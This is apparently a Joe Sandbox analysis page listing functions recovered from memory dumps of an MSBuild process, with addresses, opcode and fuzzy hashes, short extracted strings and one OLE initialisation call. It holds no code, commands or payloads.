Source File: 0000000D.00000002.3258722726.0000000006BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6bc0000_MSBuild.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 6c86936bdf4eccde26a6c329c98f233459dc0411270604ca16ac0bf4d13f6995
Instruction ID: f8dbef011ddbd9469211aabfe84275c5baa6f3a16dde100007d09082aabb5d75
Opcode Fuzzy Hash: 6c86936bdf4eccde26a6c329c98f233459dc0411270604ca16ac0bf4d13f6995
Instruction Fuzzy Hash: A31115B58047498FCB20DF9AD984B9EFBF8EB48324F208459D519A7200C375A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06BC31B1 Relevance: 1.5, APIs: 1, Instructions: 45
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 06BC320D

Memory Dump Source

Source File: 0000000D.00000002.3258722726.0000000006BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6bc0000_MSBuild.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 665f5935c6b8121a5202e49e5a720bfdb43cb8a8fef28f7be436c122020e2b9a
Instruction ID: 97737a9191559244df261b361a08536dc87f2cf1813ae4e03f8599305d09f3b7
Opcode Fuzzy Hash: 665f5935c6b8121a5202e49e5a720bfdb43cb8a8fef28f7be436c122020e2b9a
Instruction Fuzzy Hash: EC1103B59003499FCB20DFAAD984BCEFFF8EB48320F248459D519A7200C375A544CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06777DA0 Relevance: 1.4, Strings: 1, Instructions: 135COMMON

Download Yara Rule

Strings

XPjq, xrefs: 06777EDD

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID: XPjq
API String ID: 0-4216394854
Opcode ID: 6f091d31d5c1311c6ac3d80a83cff87a648428b69e5c2188bfef115f7c499f64
Instruction ID: 573b9082cc1267a72da5b7784a80bdc11bae30e00566241a5771196c07e3e187
Opcode Fuzzy Hash: 6f091d31d5c1311c6ac3d80a83cff87a648428b69e5c2188bfef115f7c499f64
Instruction Fuzzy Hash: 9C41A274B002099FDB48DFA5C954BAEBAF6FFC8300F208529E105AB399DB749C41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0677582D Relevance: 1.4, Strings: 1, Instructions: 113COMMON

Download Yara Rule

Strings

PHeq, xrefs: 0677597B

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID: PHeq
API String ID: 0-2873676430
Opcode ID: 81ea952492a6c68c2767f65718ac7aee0bf9c6efaf93f9cfa9c48a3dd13723cb
Instruction ID: a57f9f9888cef4dbcd57b9a55c5cbbbac94bacfe0d1998606561fe612f478ba3
Opcode Fuzzy Hash: 81ea952492a6c68c2767f65718ac7aee0bf9c6efaf93f9cfa9c48a3dd13723cb
Instruction Fuzzy Hash: 11311070B142068FEF59AB74C55427E7BA3AF8A210F244969D406EB399EF35DC42CB90

Uniqueness

Uniqueness Score: -1.00%

Function 06775840 Relevance: 1.4, Strings: 1, Instructions: 105COMMON

Download Yara Rule

Strings

PHeq, xrefs: 0677597B

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID: PHeq
API String ID: 0-2873676430
Opcode ID: d03422c4fa7665eb81fadf192febe9f2fff0d22d35ddfb1187581ccf40a7c054
Instruction ID: d0805a3d9466a2207847b744d40166f0326bd13cc5abbb77083cea857cd13809
Opcode Fuzzy Hash: d03422c4fa7665eb81fadf192febe9f2fff0d22d35ddfb1187581ccf40a7c054
Instruction Fuzzy Hash: F231BC70B102058FEF59AB74D55467F7BA7AF89210B244928D406EB399EF31DC41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0677B90E Relevance: 1.3, Strings: 1, Instructions: 30COMMON

Download Yara Rule

Strings

$eq, xrefs: 0677B933

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID: $eq
API String ID: 0-731066626
Opcode ID: be53ae00fe9e5ddf4cf0603e282a4737dc642cc3efc753f33db15ce22ff9310e
Instruction ID: 01098974cfebd764d85080ab3c8ea0e430940253b8d62df898b2c8a224731594
Opcode Fuzzy Hash: be53ae00fe9e5ddf4cf0603e282a4737dc642cc3efc753f33db15ce22ff9310e
Instruction Fuzzy Hash: 39F0E536B04209CFDFA44D51E9A02797365AF70A20F044076CE20D7154D330D904CF90

Uniqueness

Uniqueness Score: -1.00%

Function 06777C99 Relevance: 1.3, Strings: 1, Instructions: 25COMMON

Download Yara Rule

Strings

\Ojq, xrefs: 06777CA5

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID: \Ojq
API String ID: 0-1665755004
Opcode ID: fa65a05da742f34c98e73ed80cf0c28730696b850d70815b043fb7df144a0c5f
Instruction ID: 3135871ed78756c1d4125bbc655bbd0d1e4513338080a4a22a8d2b679df03dc8
Opcode Fuzzy Hash: fa65a05da742f34c98e73ed80cf0c28730696b850d70815b043fb7df144a0c5f
Instruction Fuzzy Hash: 40F0FE30A21129DFDF18DF94E859BADBBB6FF88705F20411AE402A7294CB741C45CB80

Uniqueness

Uniqueness Score: -1.00%

Function 0677E837 Relevance: .3, Instructions: 295COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a320b559d8edd1a3146855d3d14244c783c9a583189c47229990257b43b8f67f
Instruction ID: 87712eb771f06e0281a17c43d11c694219a4926ebe3f9328855eaa5b31507767
Opcode Fuzzy Hash: a320b559d8edd1a3146855d3d14244c783c9a583189c47229990257b43b8f67f
Instruction Fuzzy Hash: 24A19174F102098BEFA4DBA8D5907BE7BB6FB89310F604465E409EB395DA34DC818B52

Uniqueness

Uniqueness Score: -1.00%

Function 067774E0 Relevance: .2, Instructions: 243COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbbb5baec43f8c3e5f6816f8eecdfd8749b34b30924f0c06954aa23a80616d79
Instruction ID: ad288e39dc8c05645456acfe69623b4a90a3d1b1459b7452c78d5dff84f2a3da
Opcode Fuzzy Hash: dbbb5baec43f8c3e5f6816f8eecdfd8749b34b30924f0c06954aa23a80616d79
Instruction Fuzzy Hash: 64916F30B1060A8FDF58DBA8D59476E77B2EF85314F108529D40AEB399EB34DC828B91

Uniqueness

Uniqueness Score: -1.00%

Function 06779408 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8955d3b992b68b625ea0f06c202907208910c76ee5ecb31d170df7005677bc76
Instruction ID: 1cd77a522c0871bb0cdbef4f577567cbbb7bfbbccf7c8ad788d92b3e80c88f67
Opcode Fuzzy Hash: 8955d3b992b68b625ea0f06c202907208910c76ee5ecb31d170df7005677bc76
Instruction Fuzzy Hash: 2C61BFB1F005214FCF559A7EC88066FBADBAFC4220B254439E90EDB364DE69ED0287D1

Uniqueness

Uniqueness Score: -1.00%

Function 06777800 Relevance: .2, Instructions: 221COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b88e93afb935c31fa90ac7d07e6dff164ca7298a9adc3913a0f99960c8db5ed5
Instruction ID: 7f9d01750700c696bbbf1492079ccfa50d48feee8b1ab7c59fb32e85912c347c
Opcode Fuzzy Hash: b88e93afb935c31fa90ac7d07e6dff164ca7298a9adc3913a0f99960c8db5ed5
Instruction Fuzzy Hash: D4914D34E1061A8FDF64DF68C880BA9B7B1FF85300F208699D449AB295DB70AA85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 067774F0 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d255bec434500c562978a02140f977c2e2c47c75d3be127e150506645ef769f1
Instruction ID: 37636bd3c8899bead30650215282ea13c67dc555f906eaf20d672e7ca418c4cd
Opcode Fuzzy Hash: d255bec434500c562978a02140f977c2e2c47c75d3be127e150506645ef769f1
Instruction Fuzzy Hash: B4812F34B106098FDF48DBA8D59466E77F6EF85300F108529D40AEB399EF74DC828B91

Uniqueness

Uniqueness Score: -1.00%

Function 06777818 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b177bd5328f498e588be54bc93e05bc929cdf9fa8677248db0811cb216923d5
Instruction ID: bf44fc6102930d3bf83b22761571d7016f60076067597301aa45c5282504133e
Opcode Fuzzy Hash: 9b177bd5328f498e588be54bc93e05bc929cdf9fa8677248db0811cb216923d5
Instruction Fuzzy Hash: 5E915034E106198BDF64DF68C880BADB7B1FF89300F208595D549BB395EB70AA85CF90

Uniqueness

Uniqueness Score: -1.00%

Function 06778668 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3629a027a06ab0dae589731d8f2bdf91aa72fc29c17b920787e55483812c1bf
Instruction ID: af66800a7d987d31c027f270c1f5e083b43292fd4f0fe260ce532f181d42334b
Opcode Fuzzy Hash: e3629a027a06ab0dae589731d8f2bdf91aa72fc29c17b920787e55483812c1bf
Instruction Fuzzy Hash: 94415D75F006099BDF60CEA9D884ABFFBB6EB84310F20493AD216D7650D330E9558BD2

Uniqueness

Uniqueness Score: -1.00%

Function 067756F0 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8604b74fa9abad3f99d31b79c2999ceae4a95e5cfee956eec9e16fbb31342b17
Instruction ID: 4aaad14642e2fb5c3ac3cf7881f2ccd23b7c016da0b8e7476e5804d30f66590d
Opcode Fuzzy Hash: 8604b74fa9abad3f99d31b79c2999ceae4a95e5cfee956eec9e16fbb31342b17
Instruction Fuzzy Hash: 20314D34E102059BDF59CFA4D5946AEBBB6AF89310F10C529E806EB354EF70AC42CB90

Uniqueness

Uniqueness Score: -1.00%

Function 06775700 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7eceac122a19d977ecdbd57b0da1ce65e7401067289107b163af148745040510
Instruction ID: abddb97412dc7b46d436a6218dde388cfd3ee13ed803bebe5b64eeb4e2c1089a
Opcode Fuzzy Hash: 7eceac122a19d977ecdbd57b0da1ce65e7401067289107b163af148745040510
Instruction Fuzzy Hash: D8314F34E142059BDF59CFA4D5946AEB7F6AF89310F10C529E805EB354EF70AC41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 067770E8 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01feeddded64624ad6c0768fd615df62635cafac743b72397d67145580c378e1
Instruction ID: ee78efbabca6fb6fa85ab1a08cf5ff8f3fe8a278eee6615e871e8ed4cf7d0152
Opcode Fuzzy Hash: 01feeddded64624ad6c0768fd615df62635cafac743b72397d67145580c378e1
Instruction Fuzzy Hash: B7218B71F102199FDF44DFA9DD90AAEBBF1AB89710F148025E909EB364E730E941CB90

Uniqueness

Uniqueness Score: -1.00%

Function 067770F8 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbe4c981afab18881de67d549404f5af5cc88bb686ac0abd5ab301e3e81b87c7
Instruction ID: 2ea0d20b12a03c8ef3ad57ed0f57401a27ad41f3821c83b976edcda221e503e2
Opcode Fuzzy Hash: cbe4c981afab18881de67d549404f5af5cc88bb686ac0abd5ab301e3e81b87c7
Instruction Fuzzy Hash: 9B219831F002199FDF44DFA9DDA0AAEBBF1FB89610F148029E905E7394E730D9008B90

Uniqueness

Uniqueness Score: -1.00%

Function 0114D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3249526520.000000000114D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0114D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_114d000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21d838c0b4f7ccb14a80fbc6149e14f5686478013682292fbbbf11564aa57c10
Instruction ID: 1d6a7281f59556ee6c072518ef2744730b4bc5ae71ba48ee6ca3ba911514b811
Opcode Fuzzy Hash: 21d838c0b4f7ccb14a80fbc6149e14f5686478013682292fbbbf11564aa57c10
Instruction Fuzzy Hash: EE212571504200DFCF19DF98E984B16BB65EB94724F20C56DD8090B246C33AD407CA62

Uniqueness

Uniqueness Score: -1.00%

Function 06778658 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f1c084563c9f849251ae2ea4d21b69bb4faeb04966b562327f20f81f4272da4
Instruction ID: 894c62c96be92c11f668a99b49b8ca71ccea400b5020ee9ab5b036b2dee5a64a
Opcode Fuzzy Hash: 6f1c084563c9f849251ae2ea4d21b69bb4faeb04966b562327f20f81f4272da4
Instruction Fuzzy Hash: 68219071A006059FCF60CEA9DDC99AFBBB6FB85310F10893AD116D3651E230A945CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0677A330 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85fef21696ae66e4a0b90ac08471dfeff4b84ac3c3456bbeed3ec659d9a4c2dc
Instruction ID: 8dd0fd223f0011b41d5197896102e736f93ddbe81179ede392ec67c258219a88
Opcode Fuzzy Hash: 85fef21696ae66e4a0b90ac08471dfeff4b84ac3c3456bbeed3ec659d9a4c2dc
Instruction Fuzzy Hash: 8C21D331F101189FEF44EB6DE994AAEB7B7EB85310F608529E405EB355EB30ED418B84

Uniqueness

Uniqueness Score: -1.00%

Function 0114D006 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3249526520.000000000114D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0114D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_114d000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc982339f06e6aa47a0252dbb6a367c848b3551c8678ad0ab52a2988035fda44
Instruction ID: 5e33bb1cfea64befcc26b8ecc26fa6ee6162e8a0eb3dd2d53b54aa56eebdc4f5
Opcode Fuzzy Hash: bc982339f06e6aa47a0252dbb6a367c848b3551c8678ad0ab52a2988035fda44
Instruction Fuzzy Hash: 122180755083809FCB07CF54D994711BF71EB56614F28C5DAD8498B2A7C33A980ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 067766A8 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c18250c1da33543dc699425921f72dbd047807d20993d8a144047398deb74710
Instruction ID: 66f3348f8e46b0d5e27659e169b5370edfcf36aad9c0e7308eae9b700d68c487
Opcode Fuzzy Hash: c18250c1da33543dc699425921f72dbd047807d20993d8a144047398deb74710
Instruction Fuzzy Hash: 4E11B271E002199BCF54DB69D8805EEF7F5EF89310F508969D106EB208EA31D940CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 0677743F Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e11d170dab41295fac6753cfb2b9f732fdbfa94c1c5c279699fe6764ef220c4
Instruction ID: 6c183ae7f19c869276c35f4dc81a0608ec4770e191f72fd245234ac618797e32
Opcode Fuzzy Hash: 4e11d170dab41295fac6753cfb2b9f732fdbfa94c1c5c279699fe6764ef220c4
Instruction Fuzzy Hash: AD01F131B141104FCF699A3C849072AABEBDBCA222F10C93AE40AC7341DD25CC028390

Uniqueness

Uniqueness Score: -1.00%

Function 06777208 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53f941603d8e84b296cf7e2a86ce5d5cbffc4b45354f904b1943bcc747b6a931
Instruction ID: d6477487d990ee360d7b9eea211a24184422b5a4f713bb46a52e29d1f633c25e
Opcode Fuzzy Hash: 53f941603d8e84b296cf7e2a86ce5d5cbffc4b45354f904b1943bcc747b6a931
Instruction Fuzzy Hash: 0811A531F105194BCF58D668D8146AE73FAABC9710F118435E516E7358EE34DC018BE0

Uniqueness

Uniqueness Score: -1.00%

Function 0677D919 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b80507f9fac2a823f213206ff923fe4e62f3dfd6e293e4e96013c638b7458198
Instruction ID: 28cce3d80c2031402f9386a5ecfc713cd7daea3e616fd6b9b86286cbb8975464
Opcode Fuzzy Hash: b80507f9fac2a823f213206ff923fe4e62f3dfd6e293e4e96013c638b7458198
Instruction Fuzzy Hash: F601F730B141110FCF659A78DAB1B3A7BD6DFD6620F108529E04EDB399ED21DC428B80

Uniqueness

Uniqueness Score: -1.00%

Function 06776EC1 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2eaeba9192a7c572b1a668d9e2564ffdb46820f2f11fbe60c3af7b4c37e91755
Instruction ID: 1bc84b46bc0ac628cd663819002724de1fe1c350b323aa8c9f845fb743a65477
Opcode Fuzzy Hash: 2eaeba9192a7c572b1a668d9e2564ffdb46820f2f11fbe60c3af7b4c37e91755
Instruction Fuzzy Hash: 7421D0B5D00659AFCB10CF9AD884ADEFFF8FB48310F50816AE918A7241D374A954CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 067771F8 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 005a550531f66740adc30149072cde52327c014286620cfe5f278d164abf22d1
Instruction ID: e69408efdf09e5bfd97c99570961018ea6fd5bd1ae51cc58909f3d822938d092
Opcode Fuzzy Hash: 005a550531f66740adc30149072cde52327c014286620cfe5f278d164abf22d1
Instruction Fuzzy Hash: AD01B532F104240BDF5895A8AC546FB33BB9BC9611F104036E52AE7258EE249C0287E1

Uniqueness

Uniqueness Score: -1.00%

Function 06776EC8 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d267f9b54e2d205742d2085c6bba095df1bd5b30694c2c04ef724f9593dded4
Instruction ID: afc6291d1a2565a1e6fe7cf926d9af90b9f8b723252807a34e28fc2a2bb7fcb2
Opcode Fuzzy Hash: 3d267f9b54e2d205742d2085c6bba095df1bd5b30694c2c04ef724f9593dded4
Instruction Fuzzy Hash: C311E2B5D00659AFCB10CF9AD884ADEFFF8FB48310F10812AE918A7240C374A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06777450 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 710815958902ef23c356b9cab9c048f13060bddbde7f704e9a2384c07bb43b15
Instruction ID: f0e071e00a35bbdede281ec73bff3a144d9ad7d792162e087497f0d9e73bb7d1
Opcode Fuzzy Hash: 710815958902ef23c356b9cab9c048f13060bddbde7f704e9a2384c07bb43b15
Instruction Fuzzy Hash: 0D01DC31B105205BDF689A7C9490B2BBBEBDBC9720F20C83AE50EC7344ED65DC424394

Uniqueness

Uniqueness Score: -1.00%

Function 0677D928 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b164ff72253f1c2519301f1ebceb7afb5555c3704b8434b45f840535791d2cda
Instruction ID: 6bfe1a2500c49147b25520e9a4ee3addb82cc5ddcfd152fb6c389ab898eb5a0e
Opcode Fuzzy Hash: b164ff72253f1c2519301f1ebceb7afb5555c3704b8434b45f840535791d2cda
Instruction Fuzzy Hash: 79018130B105150BCF64AA38D5A0B3AB7DADFC6620F108838F04ED7354EE21DC428B80

Uniqueness

Uniqueness Score: -1.00%

Function 06779A93 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee762fb3680e65e70cdbe0cf4d6ee47245599569670c522342b7be8bffc1d6a8
Instruction ID: ac69dbbd83776ea5bafff380fadb228bfb82c5c8fd3f797d3e918a6e4866b71d
Opcode Fuzzy Hash: ee762fb3680e65e70cdbe0cf4d6ee47245599569670c522342b7be8bffc1d6a8
Instruction Fuzzy Hash: A9E04871D173459FDF50CAB48E4577A7BB9DB42204F2685A6D505DB242E137CE01C7D0

Uniqueness

Uniqueness Score: -1.00%

Function 06779AA0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99eaf142ca84b44b7758b2b24655deb4517eb82ac2963be868c188314192dacd
Instruction ID: 6ffa2253321646e82d59bce3f5ebbdfef5eb2278112d658beb8d23e76f2caa1c
Opcode Fuzzy Hash: 99eaf142ca84b44b7758b2b24655deb4517eb82ac2963be868c188314192dacd
Instruction Fuzzy Hash: 22E01271E17208ABDF50DEB4C945B6AB7ADD742214F2189A5D609CB201E576DA0187C0

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0677ACB8 Relevance: 13.0, Strings: 10, Instructions: 468COMMON

Download Yara Rule

Strings

$eq, xrefs: 0677B226
$eq, xrefs: 0677B165
$eq, xrefs: 0677ADB4
$eq, xrefs: 0677B171
$eq, xrefs: 0677ADE5
$eq, xrefs: 0677B21A
$eq, xrefs: 0677B210
$eq, xrefs: 0677ADA8
$eq, xrefs: 0677ADD9
$eq, xrefs: 0677B204

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID: $eq$$eq$$eq$$eq$$eq$$eq$$eq$$eq$$eq$$eq
API String ID: 0-2049195972
Opcode ID: 1cb0ab41bad017148eb464183f8869b58efa7f564ce98dec2f51970e56e49756
Instruction ID: 7ca85ae0978e8c67ba6e9eec32f35ad01fcd048fd09b435eaeee291abdd8b889
Opcode Fuzzy Hash: 1cb0ab41bad017148eb464183f8869b58efa7f564ce98dec2f51970e56e49756
Instruction Fuzzy Hash: 12120C30E01219CFDF64DF69C994AAEB7B2FF89704F208569D409AB365DB309D85CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0677DF48 Relevance: 10.2, Strings: 8, Instructions: 229COMMON

Download Yara Rule

Strings

$eq, xrefs: 0677E0D0
$eq, xrefs: 0677E0C4
$eq, xrefs: 0677E0A5
$eq, xrefs: 0677E0FA
$eq, xrefs: 0677E04A
$eq, xrefs: 0677E03E
$eq, xrefs: 0677E106
$eq, xrefs: 0677E099

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID: $eq$$eq$$eq$$eq$$eq$$eq$$eq$$eq
